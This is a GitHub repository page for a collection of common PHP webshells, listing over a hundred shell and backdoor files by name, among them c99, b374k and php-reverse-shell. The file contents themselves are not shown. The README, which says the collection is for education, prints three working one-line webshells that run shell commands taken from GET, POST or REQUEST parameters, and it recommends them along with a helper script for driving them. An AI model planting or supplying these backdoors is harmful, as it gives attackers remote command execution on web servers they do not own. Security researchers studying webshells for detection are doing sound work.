Common php webshells. Do not host the file(s) on your server!
Switch branches/tags
Nothing to show
Clone or download
Latest commit 01b36e2 Apr 12, 2016
Permalink
Type Name Latest commit message Commit time
Failed to load latest commit information.
OTHER More cleaning Nov 16, 2014
b374k @ 63b33c4 Add b374k module Dec 18, 2015
.gitmodules Add b374k module Dec 18, 2015
529.php webshells 1 Jul 25, 2014
AK-74 Security Team Web Shell Beta Version.php webshells 1 Jul 25, 2014
Antichat Shell v1.3.php webshells 1 Jul 25, 2014
Antichat Shell. Modified by Go0o$E.php webshells 1 Jul 25, 2014
Antichat Shell.php webshells 1 Jul 25, 2014
Antichat_Shell_v1.3.php webshells 1 Jul 25, 2014
Ayyildiz Tim -AYT- Shell v 2.1 Biz.php webshells 1 Jul 25, 2014
C99madShell v. 2.0 madnet edition.php webshells 1 Jul 25, 2014
CasuS 1.5.php webshells 1 Jul 25, 2014
CrystalShell v.1.php webshells 1 Jul 25, 2014
Cyber Shell (v 1.0).php webshells 1 Jul 25, 2014
Cyber Shell.php webshells 1 Jul 25, 2014
DTool Pro.php webshells 1 Jul 25, 2014
Dive Shell 1.0 - Emperor Hacking Team.php webshells 1 Jul 25, 2014
Dive_Shell_1.0_Emperor_Hacking_Team.php webshells 1 Jul 25, 2014
GFS web-shell ver 3.1.7 - PRiV8.php webshells 1 Jul 25, 2014
GFS_web-shell_ver_3.1.7_-_PRiV8.php webshells 1 Jul 25, 2014
GRP WebShell 2.0 release build 2018 (C)2006,Great.php webshells 1 Jul 25, 2014
Gamma Web Shell.php webshells 1 Jul 25, 2014
KA_uShell 0.1.6.php webshells 1 Jul 25, 2014
KAdot Universal Shell v0.1.6.php webshells 1 Jul 25, 2014
KAdot_Universal_Shell_v0.1.6.php webshells 1 Jul 25, 2014
Liz0ziM Private Safe Mode Command Execuriton Bypass Exploit.php webshells 1 Jul 25, 2014
Loaderz WEB Shell.php webshells 1 Jul 25, 2014
Macker's Private PHPShell.php webshells 1 Jul 25, 2014
Moroccan Spamers Ma-EditioN By GhOsT.php webshells 1 Jul 25, 2014
Moroccan_Spamers_Ma-EditioN_By_GhOsT.php webshells 1 Jul 25, 2014
MySQL Web Interface Version 0.8.php webshells 1 Jul 25, 2014
MySQL_Web_Interface_Version_0.8.php webshells 1 Jul 25, 2014
MyShell.php webshells 1 Jul 25, 2014
Mysql interface v1.0.php webshells 1 Jul 25, 2014
Mysql_interface_v1.0.php webshells 1 Jul 25, 2014
NCC-Shell.php webshells 1 Jul 25, 2014
NGH.php webshells 1 Jul 25, 2014
NTDaddy v1.9.php webshells 1 Jul 25, 2014
Non-alphanumeric.php Add non-alphanumbric shell Dec 3, 2014
PH Vayv.php webshells 1 Jul 25, 2014
PHANTASMA.php webshells 1 Jul 25, 2014
PHP Shell.php webshells 1 Jul 25, 2014
PHPRemoteView.php webshells 1 Jul 25, 2014
PHVayv.php webshells 1 Jul 25, 2014
PH_Vayv.php webshells 1 Jul 25, 2014
PhpSpy Ver 2006.php webshells 1 Jul 25, 2014
Predator.php webshells 1 Jul 25, 2014
README.md Update README.md Aug 23, 2015
Rootshell.v.1.0.php webshells 1 Jul 25, 2014
STNC WebShell v0.8.php webshells 1 Jul 25, 2014
Safe0ver Shell -Safe Mod Bypass By Evilc0der.php webshells 1 Jul 25, 2014
Safe_Mode Bypass PHP 4.4.2 and PHP 5.1.2.php webshells 1 Jul 25, 2014
Safe_Mode_Bypass_PHP_4.4.2_and_PHP_5.1.2.php webshells 1 Jul 25, 2014
SimAttacker - Vrsion 1.0.0 - priv8 4 My friend.php webshells 1 Jul 25, 2014
SimShell 1.0 - Simorgh Security MGZ.php webshells 1 Jul 25, 2014
SimShell_1.0_-_Simorgh_Security_MGZ.php webshells 1 Jul 25, 2014
Simple_PHP_backdoor_by_DK.php webshells 1 Jul 25, 2014
Sincap 1.0.php webshells 1 Jul 25, 2014
Small Web Shell by ZaCo.php webshells 1 Jul 25, 2014
Uploader.php webshells 1 Jul 25, 2014
Web-shell (c)ShAnKaR.php webshells 1 Jul 25, 2014
WinX Shell.php webshells 1 Jul 25, 2014
Worse Linux Shell.php webshells 1 Jul 25, 2014
ZyklonShell.php webshells 1 Jul 25, 2014
aZRaiLPhp v1.0.php webshells 1 Jul 25, 2014
aZRaiLPhp_v1.0.php webshells 1 Jul 25, 2014
accept_language.php webshells 1 Jul 25, 2014
b374k-mini-shell-php.php.php webshells 1 Jul 25, 2014
backupsql.php webshells 1 Jul 25, 2014
c0derz shell [csh] v. 0.1.1 release.php webshells 1 Jul 25, 2014
c99_locus7s.php webshells 1 Jul 25, 2014
c99_madnet.php webshells 1 Jul 25, 2014
cpanel.php webshells 1 Jul 25, 2014
cw.php webshells 1 Jul 25, 2014
cybershell.php webshells 1 Jul 25, 2014
dC3 Security Crew Shell PRiV.php webshells 1 Jul 25, 2014
dC3_Security_Crew_Shell_PRiV.php webshells 1 Jul 25, 2014
erne.php webshells 1 Jul 25, 2014
ex0shell.php webshells 1 Jul 25, 2014
fatal.php webshells 1 Jul 25, 2014
ftpsearch.php webshells 1 Jul 25, 2014
g00nshell-v1.3.php webshells 1 Jul 25, 2014
h4ntu shell [powered by tsoi].php webshells 1 Jul 25, 2014
h4ntu_shell_[powered_by_tsoi].php webshells 1 Jul 25, 2014
hiddens shell v1.php webshells 1 Jul 25, 2014
ironshell.php webshells 1 Jul 25, 2014
kral.php webshells 1 Jul 25, 2014
lamashell.php webshells 1 Jul 25, 2014
lifkaS.php Add Lifka Shell Apr 9, 2016
load_shell.php webshells 1 Jul 25, 2014
lolipop.php webshells 1 Jul 25, 2014
lostDC.php webshells 1 Jul 25, 2014
matamu.php webshells 1 Jul 25, 2014
megabor.php webshells 1 Jul 25, 2014
myshell.php I never actually touched these file so strange but whatever. Myshell.… Nov 15, 2014
mysql_tool.php webshells 1 Jul 25, 2014
nshell.php webshells 1 Jul 25, 2014
pHpINJ.php webshells 1 Jul 25, 2014
php-backdoor.php webshells 1 Jul 25, 2014
php-include-w-shell.php webshells 1 Jul 25, 2014
php-reverse-shell.php I never actually touched these file so strange but whatever. Myshell.… Nov 15, 2014
pws.php webshells 1 Jul 25, 2014
qsd-php-backdoor.php webshells 1 Jul 25, 2014
rootshell.php webshells 1 Jul 25, 2014
ru24_post_sh.php webshells 1 Jul 25, 2014
s72 Shell v1.1 Coding.php webshells 1 Jul 25, 2014
s72_Shell_v1.1_Coding.php webshells 1 Jul 25, 2014
safe0ver.php webshells 1 Jul 25, 2014
simattacker.php webshells 1 Jul 25, 2014
simple-backdoor.php webshells 1 Jul 25, 2014
simple_cmd.php webshells 1 Jul 25, 2014
small.php webshells 1 Jul 25, 2014
soldierofallah.php webshells 1 Jul 25, 2014
sosyete.php webshells 1 Jul 25, 2014
spygrup.php webshells 1 Jul 25, 2014
stres.php webshells 1 Jul 25, 2014
tryag.php webshells 1 Jul 25, 2014
zaco.php webshells 1 Jul 25, 2014
zacosmall.php webshells 1 Jul 25, 2014

README.md

Contributing

To contribute other shells not listed here... Fork, Push the changes to your repo, then before you request for a Pull, make sure to include a simple description of your php web-shell and include a screen-shot of the web-shell (as hosted in your localhost).

php-webshells

Common PHP shells. Do not put these on a publicly-accessible webserver.

These are provided for education purposes only.

Common php webshells. Do not host the file(s) in your server!

++++++++++++++++++++++++++

Though I recommend one-liners like

(Not a full fledged webshell, but works fine)

=================================================================

You can try WebHandler for one-liners.

WebHandler.py works for POST and GET requests:

<?php system($_GET['cmd']); ?>
<?php passthru($_REQUEST['cmd']); ?>
<?php echo exec($_POST['cmd']); ?>